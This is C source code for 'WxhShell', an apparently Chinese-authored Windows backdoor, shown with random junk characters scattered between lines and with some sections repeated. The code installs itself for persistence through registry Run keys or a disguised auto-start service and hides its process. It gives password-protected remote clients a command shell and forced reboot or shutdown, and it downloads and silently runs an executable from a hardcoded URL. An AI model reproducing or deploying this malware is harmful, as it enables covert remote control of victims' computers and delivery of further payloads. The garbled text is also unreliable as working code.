ond/e&1 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iJeT+} static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }clNXtN 5]+eLKXB HANDLE hProcess; &>{L"{ PROCESS_BASIC_INFORMATION pbi; 0AenDm@9 XWV ~6" HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rE~O}2a#H if(NULL == hInst ) return 0; t[~i})yS / KM+PeO g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !<ucwWY, g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tWIhbt NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c2"OpI PnvLXE}F if (!NtQueryInformationProcess) return 0; JJXf%o0yq <h[^&CY{ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,0xN#&?Ohh if(!hProcess) return 0; u}_q'=<\ ]dFWIvC if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8nM]G4H.f ?'r[P03 CloseHandle(hProcess); }e)ltp| ERplDSfO- hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ye\%o[X if(hProcess==NULL) return 0; 5T`39[Fya %# #
bg< HMODULE hMod; ;d:7\ char procName[255]; %l,EA#89s unsigned long cbNeeded; d"a`?+(Q .&xc2sRZ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j!pxG5% @P/{x@J CloseHandle(hProcess); &bb*~W- on|>"F`pb if(strstr(procName,"services")) return 1; // 以服务启动 de[_T%A #=rI[KI return 0; // 注册表启动 $
a7^3 } FS[CUoA kJ
>B) // 主模块 Y&?]t int StartWxhshell(LPSTR lpCmdLine) r38CPdE;} { 1Mqz+@~11 SOCKET wsl; zi'?FM[f) BOOL val=TRUE; xk9]jQ7 int port=0; URwFN OM2 struct sockaddr_in door; =n!8>8d klKt^h- if(wscfg.ws_autoins) Install(); m6}"g[nN NH/H+7,o port=atoi(lpCmdLine); XUWza=BR" @EvnV. if(port<=0) port=wscfg.ws_port; h fNBWN nr }H;wB WSADATA data; v{+*/NQ_ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +%^D) [@)|j=:i: if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; bbnAmZ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O<5bsKw'r door.sin_family = AF_INET; Qw ED>G| door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZtiOf}@i\ door.sin_port = htons(port); &E~7ty' m-K6y7t if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 71eD~fNdx closesocket(wsl); (fl2?d5+C return 1; {k>m5L } ;X>KP,/r$ /D~:Ufw if(listen(wsl,2) == INVALID_SOCKET) { Vs(;al' closesocket(wsl); yl*S|= 8;k return 1; I]h+24_S } 4V=dD<3m Wxhshell(wsl); h&XyMm9C WSACleanup(); t}K?.To$ ;tj_vmZ@R return 0; "dt3peH F!U+IztZ } cCwT0O#d w% M0Mu // 以NT服务方式启动 DF#Ob( 1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8Og9P1jVh { ) ":~`Z*@ DWORD status = 0; }9'rTLM DWORD specificError = 0xfffffff; Jyn>:Yq( J{91 t | serviceStatus.dwServiceType = SERVICE_WIN32; kZ2+=/DYN serviceStatus.dwCurrentState = SERVICE_START_PENDING; eL],\\q serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uE>}>6)b serviceStatus.dwWin32ExitCode = 0; xH0Bk<`V: serviceStatus.dwServiceSpecificExitCode = 0; M@.1P<:h serviceStatus.dwCheckPoint = 0; 5D'8 l@7 serviceStatus.dwWaitHint = 0; A="h}9ok mu(S9 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jtA
Yp3M-$ if (hServiceStatusHandle==0) return; @0aUWG!k $0WAhq status = GetLastError(); s%Z3Zj(,8( if (status!=NO_ERROR) mZORV3bN { ,ihTEw,t( serviceStatus.dwCurrentState = SERVICE_STOPPED; a/_ `1 serviceStatus.dwCheckPoint = 0; btee;3` serviceStatus.dwWaitHint = 0; .DT1Jvl serviceStatus.dwWin32ExitCode = status; pB )nQ5l' serviceStatus.dwServiceSpecificExitCode = specificError; |_-FQ~Hf F SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5dhRuc return; h><;TAp } R|_?yV[ Lz4iLLP serviceStatus.dwCurrentState = SERVICE_RUNNING; R+5x:mpHy serviceStatus.dwCheckPoint = 0; ]3%Z serviceStatus.dwWaitHint = 0; =U?"# if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K,J:i^2 } E*[X\70
B1Xn<Wv // 处理NT服务事件,比如:启动、停止 C!:\H<gI VOID WINAPI NTServiceHandler(DWORD fdwControl) >2_J(vm> { TkK- r(= switch(fdwControl) KktQA*G { H4)){\ case SERVICE_CONTROL_STOP: "g0Ln5& serviceStatus.dwWin32ExitCode = 0; w+Ag!O}.L serviceStatus.dwCurrentState = SERVICE_STOPPED; ~6R|
a serviceStatus.dwCheckPoint = 0; |n0 )s% 8` serviceStatus.dwWaitHint = 0; {BgGG@e { m'Wz0b^BO SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8c#u"qF } & %1XYpA.0 return; &B[$l`1 case SERVICE_CONTROL_PAUSE: ?QZ\KY serviceStatus.dwCurrentState = SERVICE_PAUSED; BK,=(;d3 break; Y6V56pOS case SERVICE_CONTROL_CONTINUE: q[r|p"TGov serviceStatus.dwCurrentState = SERVICE_RUNNING; ^>[Z~G($ break; RXh/[t+ case SERVICE_CONTROL_INTERROGATE: bA1uh]oB break; \4mw>8wA }; sz_|py?0 SetServiceStatus(hServiceStatusHandle, &serviceStatus); `_<K#AG Ai } C^.:{ R5qC;_0cV // 标准应用程序主函数 "GgK,d}% int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $/6.4"j { n
pBpYtG \6*3&p // 获取操作系统版本 nx=Zl:Q} OsIsNt=GetOsVer(); u=A&n6Q[Vo GetModuleFileName(NULL,ExeFile,MAX_PATH); MAhcwmZNy J-hP4t&x // 从命令行安装 8hGp?Ihu if(strpbrk(lpCmdLine,"iI")) Install(); |0dmdrKD #R@{Bu=C // 下载执行文件 ?%F*{3IP if(wscfg.ws_downexe) { F.K7w if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m@)K]0g<f WinExec(wscfg.ws_filenam,SW_HIDE); 59IxY
? } J'|qFS 5|";L&` if(!OsIsNt) { EG2NE,,r // 如果时win9x,隐藏进程并且设置为注册表启动 eQNo'cz HideProc(); rm<(6zY StartWxhshell(lpCmdLine); e!Y:UB2
7u } /`3<@{D else byoDGUv if(StartFromService()) [P407Sa" // 以服务方式启动 a6fMx~ StartServiceCtrlDispatcher(DispatchTable); 8v_HIx0xu else \_qiUvPf\ // 普通方式启动 $s$z"< StartWxhshell(lpCmdLine); hC=9%u{r? V07e29w return 0; BJwPSKL } y#o ,Vg*V 6*le(^y` )k{zRq:d S8^W)XgC; =========================================== D^$Nn*i;U Y[#i(5w H0_hQ:K eo4;?z 1@im+R?a Pl9/1YhD/ " '/G.^Zl9 aj85vON1` #include <stdio.h> e}D#vPaSY #include <string.h> ]z;%%'gW6 #include <windows.h> ORD@+ { #include <winsock2.h> " P c"{w #include <winsvc.h> s8Xort& #include <urlmon.h> FE,&_J" $_%yr
~2 #pragma comment (lib, "Ws2_32.lib") :D`ghXj #pragma comment (lib, "urlmon.lib") AtGk
_tpVZ a`|&rggN #define MAX_USER 100 // 最大客户端连接数 |9$K'+' #define BUF_SOCK 200 // sock buffer t
5g@t0$ #define KEY_BUFF 255 // 输入 buffer wK!4:]rhG 18jI6$DY #define REBOOT 0 // 重启 7;ZSeQyC #define SHUTDOWN 1 // 关机 9l5l"Wj& ^(r?k_i/ #define DEF_PORT 5000 // 监听端口 Yh\}
i |f#~#Y2v #define REG_LEN 16 // 注册表键长度 CXwDG_e #define SVC_LEN 80 // NT服务名长度 *W~+Nho.A ]#z^[XG // 从dll定义API <nOK#;O) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,IX:u1mO typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f$[6]7P typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yS%IE>? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TL lR"L5 o|FRG{TJ // wxhshell配置信息 J39,x=8LL struct WSCFG { GSj04-T" int ws_port; // 监听端口 sN.h>bd char ws_passstr[REG_LEN]; // 口令 4IuQQ int ws_autoins; // 安装标记, 1=yes 0=no C(qqGK{ char ws_regname[REG_LEN]; // 注册表键名 uU=O 0?'zq char ws_svcname[REG_LEN]; // 服务名 a*@ 6G char ws_svcdisp[SVC_LEN]; // 服务显示名 f^z/s6I0 char ws_svcdesc[SVC_LEN]; // 服务描述信息 S4508l char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YtI2Vr/9 int ws_downexe; // 下载执行标记, 1=yes 0=no 7vax[,aI char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t`1E4$Bb\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C%}}~Y gh>'O/9 }; <1cYz\/!M *J&XM[t // default Wxhshell configuration LT']3w struct WSCFG wscfg={DEF_PORT, l(
/yaZ` "xuhuanlingzhe", ^dj
avJ 1, O+ ~.p "Wxhshell", eAR]~
NiW "Wxhshell", Op%}.9 ed "WxhShell Service", H*BzwbM? "Wrsky Windows CmdShell Service", 8DHohhN "Please Input Your Password: ", +dIDFSd 1, ('BFy>@ "http://www.wrsky.com/wxhshell.exe", OLp;eb1g "Wxhshell.exe" J-yj&2 }; {U/a h2* 0 UdAF // 消息定义模块 b.V\EOk char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |d =1|C%, char *msg_ws_prompt="\n\r? for help\n\r#>"; o\6A]T=R char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MW*@fl<@?M char *msg_ws_ext="\n\rExit."; x@/ N9* char *msg_ws_end="\n\rQuit."; h.+{cOA;n char *msg_ws_boot="\n\rReboot..."; No#1Ik w char *msg_ws_poff="\n\rShutdown..."; %GG:F^X# char *msg_ws_down="\n\rSave to "; t '
_Au8 p w(eWP char *msg_ws_err="\n\rErr!"; r6k0=6i char *msg_ws_ok="\n\rOK!"; xLhN3#^m S3EM6 `q' char ExeFile[MAX_PATH]; F=)9z+l# int nUser = 0; s}yJkQb HANDLE handles[MAX_USER]; #~<cp)!3 int OsIsNt; %6r MS} Q[?O+ SERVICE_STATUS serviceStatus; rK 9 SERVICE_STATUS_HANDLE hServiceStatusHandle; ODa+s>a`^ [^sv. // 函数声明 0Yk@O)
x int Install(void); 3{OY& int Uninstall(void); H6i4>U* int DownloadFile(char *sURL, SOCKET wsh); itV@U int Boot(int flag); {!h|(xqN+ void HideProc(void); 2
|lm'Hf int GetOsVer(void); U,Py+c6 int Wxhshell(SOCKET wsl); ;o*n*N void TalkWithClient(void *cs); GPP{"6q5' int CmdShell(SOCKET sock); w;@DcX$] int StartFromService(void); XwWp4`Fd int StartWxhshell(LPSTR lpCmdLine); n-iy;L^b bV|(V> VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]r++YIg!j VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4JF)w;X} mHcxK@qw // 数据结构和表定义 ?z,^QjQ} SERVICE_TABLE_ENTRY DispatchTable[] = K6"#&0 { ;\~{7 9c {wscfg.ws_svcname, NTServiceMain}, qIE e7;DO {NULL, NULL} LS1r}cl }; 022nn-~ mY[s2t // 自我安装 g+shz{3zvz int Install(void) ACQbw)tiv} { OT-!n char svExeFile[MAX_PATH]; m=;0NLs4 HKEY key; ?M2#fD]e strcpy(svExeFile,ExeFile); `U:W (\L N$u;Q(^ // 如果是win9x系统,修改注册表设为自启动 }<?1\k if(!OsIsNt) { 9nW/pv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1e=<df RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xDtq@Rb} RegCloseKey(key); =apcMW(zn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #H]b Xr RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g
)H>Uu5@ RegCloseKey(key); pPr/r& r return 0; rHhn)m } ] Tc!=SV } H"v3?g`S% } />1Ndj else { (S~|hk^ 43_;Z| T // 如果是NT以上系统,安装为系统服务 jTVh`d<N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); We7~tkl( if (schSCManager!=0) ]WLQ q4q { m$glRs
@ SC_HANDLE schService = CreateService o)w8 ]H/ ( N6CWEIJ schSCManager, 4yLC wscfg.ws_svcname, C'~K am S wscfg.ws_svcdisp, &=bWXNU. SERVICE_ALL_ACCESS, j#KL"B_A SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `dB!Ia| SERVICE_AUTO_START, ?,Z[)5 ZN SERVICE_ERROR_NORMAL, -mD<8v[F svExeFile, f5)4H NULL, ,PG d NULL, HEZgHL NULL, 'n'83d)z NULL, LR :Qb]|" NULL J
LOTl. ); V=#L@ws if (schService!=0) Sw##C
l# { '2`MT- CloseServiceHandle(schService); Y6LoPJ CloseServiceHandle(schSCManager); ?~G D^F strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X6_m&~}15 strcat(svExeFile,wscfg.ws_svcname); n,KOQI; if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bj6-0` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ie 3
F RegCloseKey(key); H)XHlO^ return 0; #ma#oWqF } } +h!OdWD9 } jVh I`F{n CloseServiceHandle(schSCManager); Obl']Hr{y9 } V0'T) } RRYm.dMIw `o7m)T') return 1; 'G3;!xk$ } :\
%.x3T' 6U{&`8C // 自我卸载 f? sW^d; int Uninstall(void) 4 [@`j{ { gO
C5 HKEY key; li>`9qCmI o_un=ygU if(!OsIsNt) { o+U]=q*|)$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1PwqWg-\\ RegDeleteValue(key,wscfg.ws_regname); ]<3$Sx_{y RegCloseKey(key); qEd!g,Sx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AEjkqG4qv RegDeleteValue(key,wscfg.ws_regname); 5)=XzO0 RegCloseKey(key); Z4eu'.r-y~ return 0; [/.5{|&GSt } VUfV=&D-*g } FScE3~R } Q4YIKNN|7 else { m%8idjnG vIk;x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _J<^'w^;% if (schSCManager!=0) yHvF"4] { 7nh,j <~;2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H^Th]-Zl if (schService!=0) 2LpJ xV { ZzDE if(DeleteService(schService)!=0) { 7C7eXJ9q CloseServiceHandle(schService); rh;@|/<l CloseServiceHandle(schSCManager); u&Ze$z return 0; !ueyVE$1 } &w{""' CloseServiceHandle(schService); kYxb@Zn=| } M[wd.\
% CloseServiceHandle(schSCManager); Q}G'=Q]Juz } e}qG _* } 2{t i])
z6B(}(D return 1; jR/YG
ru } mp2J|!Lx -7_`6U2" // 从指定url下载文件 2l43/aCq int DownloadFile(char *sURL, SOCKET wsh) UL0%oJ# { ]e0yC HRESULT hr; @^Tof5?F? char seps[]= "/"; l#8SlRji char *token; tz(\|0WDQ char *file; n[zP}YRr char myURL[MAX_PATH]; u!in>]^ char myFILE[MAX_PATH]; 79:Wo>C3- uus}NZ:*l strcpy(myURL,sURL); E}U[VtaC token=strtok(myURL,seps); S"FIQ&n while(token!=NULL) $ t' . { esCm`?qCP file=token; ;lqtw]4v token=strtok(NULL,seps); N 3IF j } ?2ZggV b-}nv`9C GetCurrentDirectory(MAX_PATH,myFILE); >h3r\r\n3 strcat(myFILE, "\\"); +dWx?$n strcat(myFILE, file); K\5'pp1 send(wsh,myFILE,strlen(myFILE),0); S4RvWTtQV send(wsh,"...",3,0); m&)5QX hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L(tA~Z"k if(hr==S_OK) _=RA-qZ" return 0; _is<.&f6 else =2HR+ return 1; &
[)1LRt_ e|:#Y^ } J8|F8dcz >*ey 7g // 系统电源模块 #E`-b9Q int Boot(int flag) Z5aU7 { %-? :'F!1 HANDLE hToken; (17%/80-J TOKEN_PRIVILEGES tkp; / d
S! QG\lXY, if(OsIsNt) { k%w5V>]1 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +^% y&8e LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ns_5|*' tkp.PrivilegeCount = 1; !6_lD0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :>gzWVE< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Kp")
%p# if(flag==REBOOT) { H\ A!oB,sw if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &IGTCTBP return 0; DXPiC[g] } 7Mxw0J else { _RG!lmJV if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eto3dJ!R return 0; VO ^[7Y } ~YO-GX( } /60`"xH else { X+;F5b9z if(flag==REBOOT) { HA%%WSuf if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6
W/S?F~{ return 0; @-dM'R6C } Q+/:5Z
C else { \tFg10 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xao'L return 0; \-kX-Tq } 2kV[A92s } r(` ;CY]@ (p<QRb:&Z return 1; '| Enc"U } c)8V^7=Q &0*l=!:G^ // win9x进程隐藏模块 @
mm*S:Gt# void HideProc(void) loVUB'OSv { `{fqnNJE Ojj:YLlY> HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4HlOv%8 if ( hKernel != NULL ) 8[LwG& { a~YFJAkg9 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L-_dq0T ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zHi+I7 FreeLibrary(hKernel); d=%:rLm$ } uG2(NwOL CC1\0$ / return; $ wGDk } y'?|#%D / G$8 j$ // 获取操作系统版本 6zs&DOB int GetOsVer(void) %&KJtKe { "?_adot5v OSVERSIONINFO winfo; }K,:aN,44\ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NVx`'Il8
" GetVersionEx(&winfo); 8cn)ox|J[ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9`}Wp2 return 1; [\CQ_qs| else Ms5m.lX return 0; 6U;pYWht } FUzIuz 6 &fA`Od6l" // 客户端句柄模块 sZFIQ)b9 int Wxhshell(SOCKET wsl) F/9]{H { b_Ns
Ch3@ SOCKET wsh; -jsNAQ struct sockaddr_in client; 8[i#x|`g DWORD myID; vQ=W<>1 \a+F/I$hwa while(nUser<MAX_USER) ]#]m_+} Z { Saa#Mj`M int nSize=sizeof(client); \dj&4u3 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PT4Xr=z = if(wsh==INVALID_SOCKET) return 1; lJ@2N$w L%`~`3%n- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jI@0jxF if(handles[nUser]==0) H=]$9ZH! closesocket(wsh); r,=xI`XH else e#Jx|Ej= nUser++; #.p^S0\pw } *leQd^47 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3/8o)9f. DQW^;Ls return 0; u`Djle } VKy:e. B`OggdE // 关闭 socket 6N(Wv0b $ void CloseIt(SOCKET wsh) {snLiCl { q@;WXH O0 closesocket(wsh); a?6
r4u0 nUser--; sKIWr{D ExitThread(0); b?7?iV4 } uy\<t T/G1v;] // 客户端请求句柄 Mj |)KDL void TalkWithClient(void *cs) Ixm<wKwW# { [dFxW6n XOzPi*V** SOCKET wsh=(SOCKET)cs; P8!Vcy938 char pwd[SVC_LEN]; g#~ jF char cmd[KEY_BUFF]; +]H9:ARI char chr[1]; +U&aK dQs int i,j; X>OO4SV Acr\2!)) while (nUser < MAX_USER) { dA>t r/=v;4.W if(wscfg.ws_passstr) { !q~s-~d^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <uNBsYMuC //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =]E(iR_& //ZeroMemory(pwd,KEY_BUFF); STu!v5XY}- i=0; g[Ah>
5 while(i<SVC_LEN) { ;[WW,,!Y e/lfT?J\ // 设置超时 '1;Q'-/J fd_set FdRead; aWek<Y~+ struct timeval TimeOut; @uz&]~+` FD_ZERO(&FdRead); t/WauY2JUC FD_SET(wsh,&FdRead); Y2vzK; TimeOut.tv_sec=8; qC?J`
TimeOut.tv_usec=0; WwbExn< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ntkTrei
] if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s<'^
@Y K"Vv= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A/RHb^N pwd=chr[0]; k\|G%0Jw if(chr[0]==0xd || chr[0]==0xa) { <aa#OX pwd=0; I<|)uK7 break; E-_)w } mbv\Gn#> i++; ,@%1q)S?A } EiWy`H;
S%uH*&` // 如果是非法用户,关闭 socket sR,]eo<p& if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); * X\i=
K! } 1i#uKKwE r&)/3^S ' send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0F=UZf& send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xksQMS2# LtbL[z>] while(1) { EHkb{Q8 nlXg8t^G ZeroMemory(cmd,KEY_BUFF); MBs]<(RJZ WK0?$[|=r // 自动支持客户端 telnet标准 \k0%7i[nZ/ j=0; VJBVk8P while(j<KEY_BUFF) { ZT4._|2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AuHOdiJ cmd[j]=chr[0]; ?XL [[vyr if(chr[0]==0xa || chr[0]==0xd) { Ya*lq!
u cmd[j]=0; lxj_(Uo break; G U~?S'{ } @!fy24R]D j++; 0#F3@/1h } *D
#H-]9 LgRx\*[C* // 下载文件 "5%G[MB if(strstr(cmd,"http://")) { ^ $Q', send(wsh,msg_ws_down,strlen(msg_ws_down),0); \c/jp5=} if(DownloadFile(cmd,wsh)) k#R}^Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); %75|+((fC else znhe]&Fw send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ma@ws,H } YNc%[S[u^1 else { fF[n?:VV |TF,Aj switch(cmd[0]) { qqT6C%Q`kG hD{+V!{ // 帮助 B<DvH"+$ case '?': { l@Ma{*s6=5 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &WN4/=QW-J break; ]8ua>1XS } j+]>x]c0 // 安装 _o~<f)E[9 case 'i': { $EW31R5h<s if(Install()) ].]yqD4P send(wsh,msg_ws_err,strlen(msg_ws_err),0); kNUbH!PO else "6^tG[G% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mA(K`"Bfh break; tf|/_Y2 } dm,7OQ // 卸载 ,$Qa]UN5Q case 'r': { QXishHk& if(Uninstall()) .x$+R%5U send(wsh,msg_ws_err,strlen(msg_ws_err),0); J6Hw05%0= else .
l RW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]
M"{=z break; ;4 R1 } X3(:)zUL // 显示 wxhshell 所在路径 ()JM161 case 'p': { DF%\1C> char svExeFile[MAX_PATH]; * gr{{c strcpy(svExeFile,"\n\r"); ?;,s=2 strcat(svExeFile,ExeFile); P[ n`X send(wsh,svExeFile,strlen(svExeFile),0); 3m#v|52oj break; Z66akr } r1EccY // 重启 w4:S>6X case 'b': { ]p(+m_F send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); epCU(d*b if(Boot(REBOOT)) x?KgEcnw2X send(wsh,msg_ws_err,strlen(msg_ws_err),0); s6OnHX\it7 else { *6e`km closesocket(wsh); JTNQz ExitThread(0); E{^*^+c"h } x8.7])?w break; ~IZ'zuc } ->6/L) // 关机 zHG
KPuk' case 'd': { )^
R]3!v send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Zq2dCp% if(Boot(SHUTDOWN)) 24Z7;' send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Z 9<La else { T.d+@ZV<# closesocket(wsh); #R"9(Q& ExitThread(0); {\ P$5O{% } W)1)zOD break; LH"MJWOJ } l?NRQTG // 获取shell 7S7gU\qOj case 's': { /S$p_7N CmdShell(wsh); <(6@l@J|6 closesocket(wsh); 699z@>$} ExitThread(0); vI{JBWE,S break; W tnZF]1:u } .UakO,"z // 退出 1s-k=3) case 'x': { x6* {@J&5* send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kCL)F\v"iT CloseIt(wsh); I$\dT1m$ break; Ljq/f&
c } $@FD01h.t3 // 离开 m/|>4~ case 'q': { ]N NLr;p send(wsh,msg_ws_end,strlen(msg_ws_end),0); pM@|P,w { closesocket(wsh); |]RV[S3v WSACleanup(); /gL(40 exit(1); v{i'o4 break; !(*mcYA*W } gq*- v:P> } Rs_@L}U.. } -\6tVF11z %'kaNpBz // 提示信息 v$K`C; if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'v*
=}k } Vg#s } ^5qX+!3r{ ;
@
h{-@ return; AT<gV/1l } 00Tm0rY sD1L
P // shell模块句柄 ^*`{W4e] int CmdShell(SOCKET sock) bEV
9l { Z 7t 0=U STARTUPINFO si; mAhtC* ZeroMemory(&si,sizeof(si)); pL]C]HGv si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C.C)&&|X si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H4Ca+; PROCESS_INFORMATION ProcessInfo; >^Klq`"?g= char cmdline[]="cmd"; 5znLpBX<N CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }e6Ta_Z~ return 0; n <6} } LU_@8i: ::g"dRS<v // 自身启动模式 `~WxMY0M int StartFromService(void) 8Z4d<DIJ { [y\ZnoB typedef struct $^.LZ1Jd { d;|e7$F' DWORD ExitStatus; 8X!UtHml DWORD PebBaseAddress; [z]@<99/ DWORD AffinityMask; p/:)Z_ DWORD BasePriority; 6`]R)i] ULONG UniqueProcessId; v'a]SpE5 ULONG InheritedFromUniqueProcessId; |A8Ar 7) } PROCESS_BASIC_INFORMATION; = ;DL|%-%;$r PROCNTQSIP NtQueryInformationProcess; b,Ed}Ir /R^HRzTO static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !
W$u~z static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ')5W Ms<^_\iPN HANDLE hProcess; 7I/Sfmqy"O PROCESS_BASIC_INFORMATION pbi; -g]/Ko]2@$ 1.o-2:]E HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s{NEP/QQJ if(NULL == hInst ) return 0; p)f OAr >@[`, g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U`,&Q] g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GD}3r:wDs NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i)1E[jc{p! {p|OKf if (!NtQueryInformationProcess) return 0; ]cc4+}L~ Hig=PG5I hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;*:d)'A if(!hProcess) return 0; HW|c -\tS !aeL*`; if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;wbQTp2 I.fV_
